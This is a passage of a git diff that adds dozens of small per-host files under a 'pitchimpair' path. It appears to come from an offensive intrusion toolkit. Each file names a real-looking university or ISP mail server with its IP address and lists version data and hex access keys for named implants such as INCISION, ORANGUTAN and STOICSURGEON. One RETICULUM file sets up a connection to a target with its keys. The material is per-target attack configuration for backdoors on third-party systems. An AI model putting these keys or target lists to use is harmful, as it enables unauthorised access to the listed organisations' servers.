b/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/orangutan new file mode 100644 index 0000000..f3dbb4f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.univaq.it___192.150.195.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.univaq.it___192.150.195.10___20030728-140532() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="42f11ce3 131344fa 789debee" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/incision b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/incision new file mode 100644 index 0000000..9e01934 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20050523-143213() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bf69a63f fa1e8e4e 922ad014" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/orangutan b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/orangutan new file mode 100644 index 0000000..44b0829 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20050523-143213() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="2a45bbc9 9daca249 4302a497" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/patchicillin new file mode 100644 index 0000000..3e967c7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20050523-143213() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="c47ce00e 271ff3f4 99b830c8" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/sidetrack b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/sidetrack new file mode 100644 index 0000000..922a0ee --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.utc21.co.kr___211.40.103.194/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20050523-143213() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="5ba74d77 b39cb9a2 4f8c198d 8fe83ee4" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/incision b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/incision new file mode 100644 index 0000000..5b6d851 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail1.imtech.res.in___203.90.127.22___20050523-163201() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="b996d4a0 daf603d5 326257fb" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/orangutan b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/orangutan new file mode 100644 index 0000000..c1bdcf3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail1.imtech.res.in___203.90.127.22___20050523-163201() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="6328d6f6 263ebffb e612dc2a" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/patchicillin b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/patchicillin new file mode 100644 index 0000000..512c674 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail1.imtech.res.in___203.90.127.22/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail1.imtech.res.in___203.90.127.22___20050523-163201() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="ed5cdb80 b7d9ca92 0c904981" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/incision b/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/incision new file mode 100644 index 0000000..4961858 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailer.ing.unirc.it___192.167.50.202___20030728-150749() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="557f0bb4 240a7be1 dbfa0ebb" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/orangutan b/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/orangutan new file mode 100644 index 0000000..0f83ca6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailer.ing.unirc.it___192.167.50.202/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailer.ing.unirc.it___192.167.50.202___20030728-150749() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="380aa7e0 7070c65b 303e05b0" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/incision b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/incision new file mode 100644 index 0000000..36cbb5f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailgw.idom.es___194.30.33.29___20050812-162609() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="50532db8 350bf5ef d3e67af6" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/orangutan b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/orangutan new file mode 100644 index 0000000..5b9308e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailgw.idom.es___194.30.33.29___20050812-162609() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="a750a8f0 e0ed3c89 b4410a5b" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/patchicillin b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/patchicillin new file mode 100644 index 0000000..8df586a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailgw.idom.es___194.30.33.29/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailgw.idom.es___194.30.33.29___20050812-162609() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="ad8ba426 3bf69914 79ca6c46" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/dewdrop b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/dewdrop new file mode 100644 index 0000000..fa56ee8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailhost.fh-muenchen.de___129.187.244.204___20090403-131025() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/incision b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/incision new file mode 100644 index 0000000..8b62a2f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailhost.fh-muenchen.de___129.187.244.204___20090403-131025() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="fb3fee28 77911f0a fb30081e" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/jackladder b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/jackladder new file mode 100644 index 0000000..775f3ae --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailhost.fh-muenchen.de___129.187.244.204___20090403-131025() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/orangutan b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/orangutan new file mode 100644 index 0000000..6d3f684 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailhost.fh-muenchen.de___129.187.244.204___20090403-131025() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="8b363fb7 baec6f2f 5b68f117" +} diff --git a/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/patchicillin b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/patchicillin new file mode 100644 index 0000000..77d448b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mailhost.fh-muenchen.de___129.187.244.204/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mailhost.fh-muenchen.de___129.187.244.204___20090403-131025() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="de5fa72c 5f939754 4bd8b0b2" +} diff --git a/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/dewdrop b/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/dewdrop new file mode 100644 index 0000000..118c38f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mars.EE.NCTU.tw___140.113.212.13___20061103-090659() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/stoicsurgeon new file mode 100644 index 0000000..44fbfe6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mars.ee.nctu.tw___140.113.212.13/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___mars.EE.NCTU.tw___140.113.212.13___20061103-090659() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/dewdrop b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/dewdrop new file mode 100644 index 0000000..54f44a8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/incision b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/incision new file mode 100644 index 0000000..b1efe7c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b5e674e8 b6688253 9272a307" +} diff --git a/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/jackladder b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/jackladder new file mode 100644 index 0000000..af122d4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/orangutan b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/orangutan new file mode 100644 index 0000000..0055f55 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="bf5042e8 5e6767b1 1c698291" +} diff --git a/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/patchicillin b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/patchicillin new file mode 100644 index 0000000..97ffbb6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/matematica.univaq.it___192.150.195.38/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060222-105137() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="e65b8847 8d195a63 c50dbf32" +} diff --git a/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/incision b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/incision new file mode 100644 index 0000000..b60f410 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mbox.com.eg___213.212.208.10___20041119-101453() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bfed4ee4 a1d80857 45faf680" +} diff --git a/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/orangutan b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/orangutan new file mode 100644 index 0000000..722b46f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mbox.com.eg___213.212.208.10___20041119-101453() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e9273d16 f1b4c4a5 dc78b653" +} diff --git a/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/patchicillin b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/patchicillin new file mode 100644 index 0000000..8ffbe98 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mbox.com.eg___213.212.208.10/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mbox.com.eg___213.212.208.10___20041119-101453() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="a73d2ea6 c09807b4 9b15666c" +} diff --git a/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/dewdrop b/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/dewdrop new file mode 100644 index 0000000..e1e1244 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mercurio.rtn.net.mx___204.153.24.14___20060927-031133() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/stoicsurgeon new file mode 100644 index 0000000..aa31b84 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mercurio.rtn.net.mx___204.153.24.14/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___mercurio.rtn.net.mx___204.153.24.14___20060927-031133() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/dewdrop b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/dewdrop new file mode 100644 index 0000000..5ea278f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/incision b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/incision new file mode 100644 index 0000000..375e0e6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="904a9515 6aaf6e79 7cd2085d" +} diff --git a/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/jackladder b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/jackladder new file mode 100644 index 0000000..def54b6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/orangutan b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/orangutan new file mode 100644 index 0000000..d421882 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="4ebbff33 7dfc259e b9fbb4d0" +} diff --git a/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/patchicillin b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/patchicillin new file mode 100644 index 0000000..904b888 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/milko.stacken.kth.se___130.237.234.3/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="b8a9d61a e02f8d41 0a8252cb" +} diff --git a/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/incision b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/incision new file mode 100644 index 0000000..1e3304d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___moneo.upc.es___147.83.2.91___20041202-201020() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="77e3faa7 94516ce4 e7789cdf" +} diff --git a/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/orangutan b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/orangutan new file mode 100644 index 0000000..7a9ce70 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___moneo.upc.es___147.83.2.91___20041202-201020() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="970af227 9aedeb86 70454cec" +} diff --git a/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/patchicillin b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/patchicillin new file mode 100644 index 0000000..f745a4a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/moneo.upc.es___147.83.2.91/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___moneo.upc.es___147.83.2.91___20041202-201020() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="760e0d9a 90abf2df 58d87635" +} diff --git a/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/incision b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/incision new file mode 100644 index 0000000..318a8ee --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20050310-182126() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="92722e8b 434d2b21 8dafb4ae" +} diff --git a/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/orangutan b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/orangutan new file mode 100644 index 0000000..3fd2807 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20050310-182126() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="393523e7 e5d693c6 62e64c48" +} diff --git a/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/patchicillin b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/patchicillin new file mode 100644 index 0000000..0231ef9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20050310-182126() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="ffff658a 717b41ad 7dd2c1f8" +} diff --git a/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/reticulum b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/reticulum new file mode 100644 index 0000000..6d2ead8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mtrader2.grupocorreo.es___194.30.32.29/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20040614-181443() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host mtrader2.grupocorreo.es + set ip 194.30.32.29 + set hostType "Solaris27" + set len 476 + set cv0 6d155859 + set cv1 364e52ef + set cv2 0e7667f7 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/dewdrop b/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/dewdrop new file mode 100644 index 0000000..df65b87 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39___20070726-094353() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/stoicsurgeon new file mode 100644 index 0000000..c1484ab --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___mu-me01-ns-ctm001.vsnl.net.in___202.54.4.39___20070726-094353() { + ## STOICSURGEON Version:STOICSURGEON v1.1.38.1 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/dewdrop b/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/dewdrop new file mode 100644 index 0000000..7331e9c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mum1mr1-a-fixed.sancharnet.in___61.1.64.45___20070420-101716() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/stoicsurgeon new file mode 100644 index 0000000..7563d87 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mum1mr1-a-fixed.sancharnet.in___61.1.64.45/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___mum1mr1-a-fixed.sancharnet.in___61.1.64.45___20070420-101716() { + ## STOICSURGEON Version:STOICSURGEON v1.1.24.3 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/incision b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/incision new file mode 100644 index 0000000..451e70a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="222c40da 12db893a 45dc9286" +} diff --git a/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/jackladder b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/jackladder new file mode 100644 index 0000000..70ef7b2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.5.1 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/orangutan b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/orangutan new file mode 100644 index 0000000..696da2b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.5.1 + export CONFIG_KEYS="b414ac7f 54921f18 d61fc526" +} diff --git a/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/patchicillin b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/patchicillin new file mode 100644 index 0000000..ede5597 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mxtpa.biglobe.net.tw___202.166.255.103/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mxtpa.biglobe.net.tw___202.166.255.103___20060926-101014() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.5.1 + export CV="fd2c7e15 e7250601 d89bc48c" +} diff --git a/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/incision b/Linux/bin/varkeys/pitchimpair/myhome.elim.net___203.239.130.7/incision new file mode 100644 index 0000000..5662f2f --- /dev/null +++ 